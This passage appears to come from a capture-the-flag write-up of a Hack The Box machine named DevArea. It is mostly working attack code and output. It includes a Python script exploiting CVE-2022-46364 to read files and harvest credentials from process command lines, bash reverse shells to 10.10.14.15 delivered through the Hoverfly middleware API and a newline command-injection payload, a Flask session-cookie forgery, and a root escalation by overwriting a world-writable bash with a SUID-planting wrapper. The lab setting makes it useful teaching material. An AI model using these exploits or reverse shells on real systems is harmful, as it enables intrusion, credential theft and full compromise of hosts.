sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
dev_ryan:x:1001:1001::/home/dev_ryan:/bin/bash
ftp:x:110:111:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin
syswatch:x:984:984::/opt/syswatch:/usr/sbin/nologin
postfix:x:111:112::/var/spool/postfix:/usr/sbin/nologin
_laurel:x:999:987::/var/log/laurel:/bin/false
dhcpcd:x:100:65534:DHCP Client Daemon,,,:/usr/lib/dhcpcd:/bin/false
PID fuzzing to discover credentials
With arbitrary file read, we could read /proc/<pid>/cmdline to enumerate every running process. We wrote a script to iterate through PIDs and decode the results.
#!/usr/bin/env python3
import requests
import base64
import sys
TARGET = "http://devarea.htb:8080/employeeservice"
MAX_PID = int(sys.argv[1]) if len(sys.argv) > 1 else 1000
def read_file(path):
body = f"""------=_Part_1\r\nContent-Type: application/xop+xml; charset=UTF-8; type="text/xml"\r\nContent-Transfer-Encoding: 8bit\r\nContent-ID: <root@example.com>\r\n\r\n<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:tns="http://devarea.htb/"><soapenv:Body><tns:submitReport><arg0><confidential>false</confidential><content><xop:Include xmlns:xop="http://www.w3.org/2004/08/xop/include" href="{path}"/></content><department>IT</department><employeeName>test</employeeName></arg0></tns:submitReport></soapenv:Body></soapenv:Envelope>\r\n\r\n------=_Part_1--"""
headers = {
"Content-Type": 'multipart/related; type="application/xop+xml"; boundary="----=_Part_1"; start="<root@example.com>"; start-info="text/xml"',
}
try:
r = requests.post(TARGET, data=body.encode(), headers=headers, timeout=10)
# Extract content between "Content: " and "</return>"
marker = "Content: "
start = r.text.find(marker)
if start == -1:
return None
start += len(marker)
end = r.text.find("</return>", start)
b64 = r.text[start:end].strip()
if not b64:
return None
return base64.b64decode(b64).decode(errors="replace").replace("\x00", " ").strip()
except Exception as e:
return None
print(f"[*] Fuzzing PIDs 1-{MAX_PID}...")
for pid in range(1, MAX_PID + 1):
result = read_file(f"file:///proc/{pid}/cmdline")
if result:
print(f"[PID {pid:5d}] {result}")
Running it against the first 5000 PIDs uncovered a goldmine.
┌──(kali㉿kali)-[~/Documents/htb/devarea/exploits]
└─$ python fuzz_pid.py 5000
[*] Fuzzing PIDs 1-5000...
[PID 1] /sbin/init
[PID 409] /usr/lib/systemd/systemd-journald
[PID 465] /usr/lib/systemd/systemd-udevd
[PID 612] /usr/lib/systemd/systemd-resolved
[PID 620] /usr/lib/systemd/systemd-timesyncd
[PID 624] /sbin/auditd
[PID 625] /sbin/auditd
[PID 627] /usr/local/sbin/laurel --config /etc/laurel/config.toml
[PID 628] /sbin/auditd
[PID 670] /usr/lib/systemd/systemd-timesyncd
[PID 729] /usr/bin/VGAuthService
[PID 732] /usr/bin/vmtoolsd
[PID 744] dhclient -1 -4 -v -i -pf /run/dhclient.eth0.pid -lf /var/lib/dhcp/dhclient.eth0.leases -I -df /var/lib/dhcp/dhclient6.eth0.leases eth0
[PID 761] @dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only
[PID 814] /usr/bin/python3 /usr/bin/networkd-dispatcher --run-startup-triggers
[PID 817] /usr/bin/vmtoolsd
[PID 820] nix-daemon --daemon
[PID 823] /usr/lib/polkit-1/polkitd --no-debug
[PID 835] /usr/bin/vmtoolsd
[PID 836] /usr/bin/vmtoolsd
[PID 858] /usr/lib/systemd/systemd-logind
[PID 870] /usr/libexec/udisks2/udisksd
[PID 883] nix-daemon --daemon
[PID 923] /usr/libexec/udisks2/udisksd
[PID 925] /usr/libexec/udisks2/udisksd
[PID 931] /usr/libexec/udisks2/udisksd
[PID 1023] /usr/lib/polkit-1/polkitd --no-debug
[PID 1024] /usr/lib/polkit-1/polkitd --no-debug
[PID 1037] /usr/lib/polkit-1/polkitd --no-debug
[PID 1056] /usr/libexec/udisks2/udisksd
[PID 1068] /usr/sbin/ModemManager
[PID 1108] /usr/libexec/udisks2/udisksd
[PID 1111] /usr/sbin/ModemManager
[PID 1119] /usr/sbin/ModemManager
[PID 1128] /usr/sbin/ModemManager
[PID 1231] /usr/sbin/rsyslogd -n -iNONE
[PID 1252] /usr/sbin/rsyslogd -n -iNONE
[PID 1253] /usr/sbin/rsyslogd -n -iNONE
[PID 1254] /usr/sbin/rsyslogd -n -iNONE
[PID 1459] /usr/lib/jvm/java-8-openjdk-amd64/bin/java -jar /opt/EmployeeService/target/employee-service.jar
[PID 1460] /opt/HoverFly/hoverfly -add -username admin -password O7IJ27MyyXiU -listen-on-host 0.0.0.0
[PID 1463] /usr/sbin/cron -f -P
[PID 1476] /opt/syswatch/venv/bin/python /opt/syswatch/syswatch_gui/app.py
[PID 1490] /usr/sbin/vsftpd /etc/vsftpd.conf
[PID 1503] /opt/HoverFly/hoverfly -add -username admin -password O7IJ27MyyXiU -listen-on-host 0.0.0.0
[PID 1504] /opt/HoverFly/hoverfly -add -username admin -password O7IJ27MyyXiU -listen-on-host 0.0.0.0
[PID 1505] /opt/HoverFly/hoverfly -add -username admin -password O7IJ27MyyXiU -listen-on-host 0.0.0.0
[PID 1506] /opt/HoverFly/hoverfly -add -username admin -password O7IJ27MyyXiU -listen-on-host 0.0.0.0
[PID 1511] /usr/lib/jvm/java-8-openjdk-amd64/bin/java -jar /opt/EmployeeService/target/employee-service.jar
[PID 1514] /sbin/agetty -o -p -- \u --noclear - linux
[PID 1515] /usr/lib/jvm/java-8-openjdk-amd64/bin/java -jar /opt/EmployeeService/target/employee-service.jar
[PID 1516] /usr/lib/jvm/java-8-openjdk-amd64/bin/java -jar /opt/EmployeeService/target/employee-service.jar
[PID 1578] /opt/HoverFly/hoverfly -add -username admin -password O7IJ27MyyXiU -listen-on-host 0.0.0.0
[PID 1580] /usr/lib/jvm/java-8-openjdk-amd64/bin/java -jar /opt/EmployeeService/target/employee-service.jar
Hoverfly was running with its admin credentials passed directly as command-line arguments: admin / O7IJ27MyyXiU.
Hoverfly middleware RCE — shell as dev_ryan
We authenticated to the Hoverfly API and obtained a JWT.
┌──(kali㉿kali)-[~/Documents/htb/devarea/exploits]
└─$ curl -s -X POST http://devarea.htb:8888/api/token-auth -H 'Content-Type: application/json' -d '{"username":"admin","password":"O7IJ27MyyXiU"}'
{"token":"eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJleHAiOjIwODU4MDI1MDMsImlhdCI6MTc3NDc2MjUwMywic3ViIjoiIiwidXNlcm5hbWUiOiJhZG1pbiJ9.gzRct1ajQVxNKLsLqIGOUYdAGC1kdaohH0OHg4MaR5ny1DpRRwa3h8BM1RnQXALUjghQvTIhiHtkw63onKDDMQ"}
Hoverfly supports a middleware feature that allows configuring a script to be executed against every proxied request. We set a bash reverse shell as the middleware script.
┌──(kali㉿kali)-[~/Documents/htb/devarea/exploits]
└─$ curl -s http://devarea.htb:8888/api/v2/hoverfly/middleware -H 'Authorization: Bearer eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJleHAiOjIwODU4MDI1MDMsImlhdCI6MTc3NDc2MjUwMywic3ViIjoiIiwidXNlcm5hbWUiOiJhZG1pbiJ9.gzRct1ajQVxNKLsLqIGOUYdAGC1kdaohH0OHg4MaR5ny1DpRRwa3h8BM1RnQXALUjghQvTIhiHtkw63onKDDMQ'
{"binary":"","script":"","remote":""}
┌──(kali㉿kali)-[~/Documents/htb/devarea/exploits]
└─$ curl -s -X PUT http://devarea.htb:8888/api/v2/hoverfly/middleware -H 'Authorization: Bearer eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJleHAiOjIwODU4MDI1MDMsImlhdCI6MTc3NDc2MjUwMywic3ViIjoiIiwidXNlcm5hbWUiOiJhZG1pbiJ9.gzRct1ajQVxNKLsLqIGOUYdAGC1kdaohH0OHg4MaR5ny1DpRRwa3h8BM1RnQXALUjghQvTIhiHtkw63onKDDMQ' -H 'Content-Type: application/json' -d '{"binary":"bash","script":"#!/bin/bash\nbash -i >& /dev/tcp/10.10.14.15/9001 0>&1"}'
We landed a shell as dev_ryan and upgraded to a proper SSH session by adding our public key to ~/.ssh/authorized_keys.
┌──(kali㉿kali)-[~/Documents/htb/devarea]
└─$ rlwrap nc -nlvp 9001
listening on [any] 9001 ...
connect to [10.10.14.15] from (UNKNOWN) [10.129.109.198] 45420
bash: cannot set terminal process group (1460): Inappropriate ioctl for device
bash: no job control in this shell
dev_ryan@devarea:/opt/HoverFly$ id
id
uid=1001(dev_ryan) gid=1001(dev_ryan) groups=1001(dev_ryan)
dev_ryan@devarea:/opt/HoverFly$
Privilege escalation to root
Sudo rights
dev_ryan@devarea:~$ sudo -l
Matching Defaults entries for dev_ryan on devarea:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User dev_ryan may run the following commands on devarea:
(root) NOPASSWD: /opt/syswatch/syswatch.sh, !/opt/syswatch/syswatch.sh web-stop, !/opt/syswatch/syswatch.sh web-restart
dev_ryan@devarea:~$
dev_ryan can run syswatch.sh as root without a password. The ! rules block web-stop and web-restart, but any other subcommand is permitted.
World-writable bash
dev_ryan@devarea:~$ ls -al /usr/bin/bash
-rwxrwxrwx 1 root root 1446024 Mar 31 2024 /usr/bin/bash
dev_ryan@devarea:~$
The source code of syswatch.sh can be found from user's home directory.
#!/bin/bash
set -euo pipefail
CONFIG_FILE="/opt/syswatch/config/syswatch.conf"
SYSWATCH_USER="syswatch"
PLUGIN_DIR="/opt/syswatch/plugins"
LOG_DIR="/opt/syswatch/logs"
SAFE_PLUGIN_REGEX='^[a-zA-Z0-9_.\-$]+$'
SAFE_LOG_REGEX='^[A-Za-z0-9_.-]+$'
VERSION="1.0.0"
source "$CONFIG_FILE"
RUN_AS_ROOT_PLUGINS=("log_monitor.sh")
LIST_EXCLUDE=("common.sh")
log_message() {
local msg="$1"
echo "$(date '+%F %T') - $msg" >> "$LOG_DIR/system.log"
logger -t syswatch "$msg"
}
start_web() {
# Reload systemd in case service was just added
systemctl daemon-reload
# Check if the service is already active
if systemctl is-active --quiet syswatch-web.service; then
echo "[*] SysWatch Web GUI is already running."
return
fi
echo "[*] Starting SysWatch Web GUI service..."
systemctl enable syswatch-web.service >/dev/null 2>&1
systemctl start syswatch-web.service
# Give a small delay for startup
sleep 2
if systemctl is-active --quiet syswatch-web.service; then
echo "[+] SysWatch Web GUI started successfully!"
else
echo "[-] Failed to start SysWatch Web GUI."
fi
}
# Function: stop web GUI
stop_web() {
if ! systemctl is-active --quiet syswatch-web.service; then
echo "[*] SysWatch Web GUI is not running."
return
fi
echo "[*] Stopping SysWatch Web GUI service..."
systemctl stop syswatch-web.service
echo "[+] SysWatch Web GUI stopped."
}
# Function: restart/reload web GUI
reload_web() {
if ! systemctl is-active --quiet syswatch-web.service; then
echo "[*] SysWatch Web GUI is not running. Starting it..."
start_web
return
fi
echo "[*] Reloading SysWatch Web GUI service..."
systemctl restart syswatch-web.service
echo "[+] SysWatch Web GUI reloaded successfully!"
}
# Function: show status
status_web() {
systemctl status syswatch-web.service --no-pager --lines=0
}
execute_plugin() {
local plugin="$1"; shift
if [[ ! $plugin =~ $SAFE_PLUGIN_REGEX ]]; then
echo "Invalid plugin name" >&2
return 1
fi
local fullpath="$PLUGIN_DIR/$plugin"
[ ! -f "$fullpath" ] && echo "Plugin not found: $plugin" >&2 && return 1
log_message "Executing plugin: $plugin $*"
local run_root=0
for p in "${RUN_AS_ROOT_PLUGINS[@]}"; do
if [ "$plugin" = "$p" ]; then
run_root=1
break
fi
done
if [ "$run_root" -eq 1 ]; then
bash "$fullpath" "$@"
else
runuser -u "$SYSWATCH_USER" -- bash "$fullpath" "$@"
fi
}
list_plugins() {
local files
files=$(ls -1 "$PLUGIN_DIR" 2>/dev/null | grep -E '^.+\.sh$' || true)
[ -z "${files:-}" ] && return
while IFS= read -r f; do
[ -z "$f" ] && continue
local skip=0
for ex in "${LIST_EXCLUDE[@]}"; do
if [ "$f" = "$ex" ]; then
skip=1
break
fi
done
[ "$skip" -eq 1 ] && continue
echo " - $f"
done <<< "$files"
}
view_logs() {
local arg="${1:-}"
# ---- LIST MODE ----
if [ "$arg" = "--list" ] || [ "$arg" = "list" ]; then
local found=0
for p in "$LOG_DIR"/*.log; do
[ -e "$p" ] || continue
[ -L "$p" ] && continue # skip symlinks in list
[ -f "$p" ] || continue
echo " - $(basename "$p")"
found=1
done
[ "$found" -eq 0 ] && echo "[No logs found]"
return
fi
# FILE NAME VALIDATION
local file="${arg:-system.log}"
if [[ ! "$file" =~ $SAFE_LOG_REGEX ]]; then
echo "[Invalid log filename]: $file"
return 1
fi
local path="$LOG_DIR/$file"
if [ -L "$path" ]; then
local target
target=$(ls -l "$path" | awk '{print $NF}')
if [[ "$target" == *"/"* || "$target" == *".."* || "$target" == *"\\"* ]]; then
echo "[Blocked unsafe symlink target]: $file -> $target"
return 1
fi
if [[ "$target" =~ ^[A-Za-z0-9_.-]+$ ]]; then
local resolved="$LOG_DIR/$target"
if [ -f "$resolved" ]; then
cat "$resolved"
return
else
echo "[Symlink target not found]: $file -> $target"
return 1
fi
fi
if [[ "$target" == /var/log/* ]]; then
[ -f "$target" ] && cat "$target" && return
echo "[Symlink target not regular file]: $file -> $target"
return 1
fi
echo "[Refusing unsafe symlink]: $file -> $target"
return 1
fi
if [[ "$file" == */* || "$file" == *".."* ]]; then
echo "[Blocked unsafe filename]: $file"
return 1
fi
if [ -f "$path" ]; then
cat "$path"
else
echo "[Log file not found]: $file"
fi
}
usage() {
echo "SysWatch $VERSION"
echo "Usage: $0 <command> [args]"
echo "Commands:"
echo " web Start web GUI"
echo " web-stop Stop web GUI"
echo " web-restart Restart web GUI"
echo " web-status Show web GUI status"
echo " plugin <name> [args] Execute plugin"
echo " plugins List available plugins"
echo " logs <file> View log file"
echo " logs --list List available log files"
echo " --version Show version"
echo " --help|-h|help Show this help"
}
main() {
case "${1:-}" in
web) start_web ;;
web-stop) stop_web ;;
web-restart|web-reload) reload_web ;;
web-status) status_web ;;
plugin) shift; execute_plugin "$@" ;;
plugins) list_plugins ;;
logs) shift; view_logs "$@" ;;
--version) echo "$VERSION" ;;
help|--help|-h) usage ;;
*)
usage
;;
esac
}
if [ "$(id -u)" -eq 0 ]; then
main "$@"
else
if [[ "${1:-}" == "logs" ]]; then
main "$@"
else
echo "Access denied. Root required for this action." >&2
exit 1
fi
fi
/usr/bin/bash is world-writable. Since syswatch.sh opens with #!/bin/bash (which resolves to /usr/bin/bash), replacing it with a malicious wrapper means the next sudo invocation will execute our code as root before handing off to the real shell.
Exploitation
We backed up the real bash and created our malicious wrapper.
dev_ryan@devarea:~$ cp /usr/bin/bash /tmp/bash_real
dev_ryan@devarea:~$
dev_ryan@devarea:~$ cat /tmp/exploit.sh
#!/tmp/bash_real
cp /tmp/bash_real /tmp/rootbash
chmod u+s /tmp/rootbash
exec /tmp/bash_real "$@"
dev_ryan@devarea:~$
There's a subtlety here: our current interactive shell is a running bash process. Overwriting /usr/bin/bash while it's in use risks corrupting the session. We switched to dash first to detach from any bash dependency, killed all remaining bash processes, then swapped the binary.
dev_ryan@devarea:~$ exec /bin/dash
$ killall -9 bash
$ cp /tmp/exploit.sh /usr/bin/bash
We triggered syswatch.sh as root.
$ sudo /opt/syswatch/syswatch.sh --version
1.0.0
$
Our wrapper ran as root, copied bash with the SUID bit set, then exec'd the real binary to finish normally. We restored the original immediately to avoid breaking the system.
$ ls -al /tmp
total 2904
drwxrwxrwt 16 root root 4096 Mar 29 09:21 .
drwxr-xr-x 24 root root 4096 Mar 22 18:55 ..
-rwxrwxr-x 1 dev_ryan dev_ryan 1446024 Mar 29 09:16 bash_real
-rwxrwxr-x 1 dev_ryan dev_ryan 320 Mar 29 09:17 exploit.sh
drwxrwxrwt 2 root root 4096 Mar 29 08:30 .font-unix
drwxr-xr-x 2 dev_ryan dev_ryan 4096 Mar 29 08:30 hsperfdata_dev_ryan
drwxrwxrwt 2 root root 4096 Mar 29 08:30 .ICE-unix
-rw-r--r-- 1 root root 20 Mar 29 09:17 logmonitor_timestamp
-rwsr-xr-x 1 root root 1446024 Mar 29 09:21 rootbash
drwx------ 2 root root 4096 Mar 29 08:30 snap-private-tmp
drwx------ 3 root root 4096 Mar 29 08:30 systemd-private-f4bebb248c1e4d8ca16dc7dbe8abae19-apache2.service-GIF1Dc
drwx------ 3 root root 4096 Mar 29 08:30 systemd-private-f4bebb248c1e4d8ca16dc7dbe8abae19-ModemManager.service-o3LDOE
drwx------ 3 root root 4096 Mar 29 08:30 systemd-private-f4bebb248c1e4d8ca16dc7dbe8abae19-polkit.service-5vMMpX
drwx------ 3 root root 4096 Mar 29 08:30 systemd-private-f4bebb248c1e4d8ca16dc7dbe8abae19-systemd-logind.service-ARf1g5
drwx------ 3 root root 4096 Mar 29 08:30 systemd-private-f4bebb248c1e4d8ca16dc7dbe8abae19-systemd-resolved.service-LrvpD5
drwx------ 3 root root 4096 Mar 29 08:30 systemd-private-f4bebb248c1e4d8ca16dc7dbe8abae19-systemd-timesyncd.service-RY4ZKF
drwx------ 3 root root 4096 Mar 29 08:47 systemd-private-f4bebb248c1e4d8ca16dc7dbe8abae19-upower.service-rwbKOn
drwx------ 2 root root 4096 Mar 29 08:32 vmware-root_727-4290690966
drwxrwxrwt 2 root root 4096 Mar 29 08:30 .X11-unix
drwxrwxrwt 2 root root 4096 Mar 29 08:30 .XIM-unix
$ cp /tmp/bash_real /usr/bin/bash
$
$ /tmp/rootbash -p
rootbash-5.2# id
uid=1001(dev_ryan) gid=1001(dev_ryan) euid=0(root) groups=1001(dev_ryan)
rootbash-5.2# cd /root
rootbash-5.2# ls -la
total 44
drwx------ 7 root root 4096 Mar 29 08:32 .
drwxr-xr-x 24 root root 4096 Mar 22 18:55 ..
lrwxrwxrwx 1 root root 9 Mar 10 16:28 .bash_history -> /dev/null
-rw-r--r-- 1 root root 3106 Apr 22 2024 .bashrc
drwxr-xr-x 4 root root 4096 Mar 22 18:55 .cache
drwx------ 3 root root 4096 Mar 22 18:55 .config
drwxr-xr-x 3 root root 4096 Mar 22 18:55 .local
drwxr-xr-x 4 root root 4096 Mar 22 18:55 .npm
-rw-r--r-- 1 root root 289 Sep 21 2025 .profile
-rw-r----- 1 root root 33 Mar 29 08:32 root.txt
drwx------ 2 root root 4096 Mar 22 18:55 .ssh
-rw-r--r-- 1 root root 165 Mar 10 16:28 .wget-hsts
rootbash-5.2#
And there it was — root.
Conclusion
In summary, anonymous FTP handed us employee-service.jar. Decompiling it revealed an Apache CXF SOAP service, which we exploited via CVE-2022-46364 to read arbitrary local files. Iterating /proc/<pid>/cmdline through the same SSRF exposed Hoverfly running with its credentials in plaintext. We used those to push a malicious middleware script via the Hoverfly API and caught a shell as dev_ryan.
Root came down to two facts: dev_ryan could run syswatch.sh as root via sudo, and /usr/bin/bash — the shebang interpreter for that script — was world-writable. Replacing it with a wrapper that sets the SUID bit on a bash copy, triggering sudo, and running the SUID binary gave us root.
That wraps up DevArea. Thanks for reading — see you in the next one!
Beyond root — shell as syswatch
With root in hand, it was worth going back and exploring the SysWatch application running internally as the syswatch user. dev_ryan's home directory contained syswatch-v1.zip with the full source code.
We forwarded the internal port over SSH.
┌──(kali㉿kali)-[~/Documents/htb/devarea]
└─$ ssh -i id_rsa -L 7777:127.0.0.1:7777 dev_ryan@devarea.htb -fN

The service environment file leaked the Flask secret key.
dev_ryan@devarea:~/.ssh$ cat /etc/systemd/system/syswatch-web.service
cat /etc/systemd/system/syswatch-web.service
[Unit]
Description=SysWatch Web GUI
After=network.target
[Service]
Type=simple
User=syswatch
Group=syswatch
EnvironmentFile=/etc/syswatch.env
WorkingDirectory=/opt/syswatch/syswatch_gui
ExecStart=/opt/syswatch/venv/bin/python /opt/syswatch/syswatch_gui/app.py
Restart=on-failure
[Install]
WantedBy=multi-user.target
dev_ryan@devarea:~/.ssh$ cat /etc/syswatch.env
cat /etc/syswatch.env
SYSWATCH_SECRET_KEY=f3ac48a6006a13a37ab8da0ab0f2a3200d8b3640431efe440788beaefa236725
SYSWATCH_ADMIN_PASSWORD=SyswatchAdmin2026
SYSWATCH_LOG_DIR=/opt/syswatch/logs
SYSWATCH_DB_PATH=/opt/syswatch/syswatch_gui/syswatch.db
SYSWATCH_PLUGIN_DIR=/opt/syswatch/plugins
SYSWATCH_BACKUP_DIR=/opt/syswatch/backup
SYSWATCH_VERSION=1.0.0
dev_ryan@devarea:~/.ssh$
We used flask-unsign to forge a signed admin session cookie.
┌──(kali㉿kali)-[~/Documents/htb/devarea/exploits]
└─$ flask-unsign --sign --cookie "{'user_id': 1, 'username': 'admin'}" --secret 'f3ac48a6006a13a37ab8da0ab0f2a3200d8b3640431efe440788beaefa236725'
eyJ1c2VyX2lkIjoxLCJ1c2VybmFtZSI6ImFkbWluIn0.acjF0g.cCgvuDXsc79t756qoTPqN9UsEZw
Setting this as our session cookie granted admin access to the dashboard.
Reading app.py, the /service-status route passes the user-supplied service name directly into a shell command via shell=True.
@app.route("/service-status", methods=["GET", "POST"])
@app.route("/service-status/", methods=["GET", "POST"])
SAFE_SERVICE = re.compile(r"^[^;/\&.<>\rA-Z]*$")
def service_status():
r = require_login()
if r:
return r
output = None
error = None
service = ""
if request.method == "POST":
service = request.form.get("service", "").strip()
if not service or not SAFE_SERVICE.match(service):
error = "Invalid service name"
else:
try:
res = subprocess.run([f"systemctl status --no-pager {service}"], shell=True,capture_output=True, text=True, timeout=10)
output = res.stdout if res.stdout else res.stderr
except Exception as e:
error = str(e)
return render_template("service_status.html", output=output, error=error, service=service)
The regex blocks slashes and semicolons but allows newlines, which lets us inject a second command. We pre-staged a reverse shell script and used awk to reconstruct the slash character since / is blocked by the filter.
dev_ryan@devarea:~/.ssh$ echo 'bash -i >& /dev/tcp/10.10.14.15/9002 0>&1' > /tmp/syswatch.sh
echo 'bash -i >& /dev/tcp/10.10.14.15/9002 0>&1' > /tmp/syswatch.sh
dev_ryan@devarea:~/.ssh$ chmod 777 /tmp/syswatch.sh
chmod 777 /tmp/syswatch.sh
dev_ryan@devarea:~/.ssh$
POST /service-status HTTP/1.1
Host: 127.0.0.1:7777
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 136
Origin: http://127.0.0.1:7777
Connection: keep-alive
Referer: http://127.0.0.1:7777/service-status
Cookie: csrftoken=8gjIghGjlxj3Vc9lcrIeFrDda9zjpZWW; admin_lang=english; meye_username=; meye_password_hash=da39a3ee5e6b4b0d3255bfef95601890afd80709; session=eyJ1c2VyX2lkIjoxLCJ1c2VybmFtZSI6ImFkbWluIn0.acjF0g.cCgvuDXsc79t756qoTPqN9UsEZw
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
service=ssh%0Abash%20$(echo+x|awk+'{printf+"%25c",47}')tmp$(echo+x|awk+'{printf+"%25c",47}')syswatch$(echo+x|awk+'{printf+"%25c",46 'import }')sh
┌──(kali㉿kali)-[~/Documents/htb/devarea]
└─$ rlwrap nc -nlvp 9002
listening on [any] 9002 ...
connect to [10.10.14.15] from (UNKNOWN) [10.129.109.198] 35936
bash: cannot set terminal process group (1476): Inappropriate ioctl for device
bash: no job control in this shell
syswatch@devarea:~/syswatch_gui$ python3 -c 'import pty;pty.spawn("/bin/bash")'
<gui$ python3 -c 'import pty;pty.spawn("/bin/bash")'
syswatch@devarea:~/syswatch_gui$
A shell as syswatch — an alternative lateral movement path through the box that doesn't lead to root on its own, but shows the SysWatch application has its own exploitable surface worth exploring.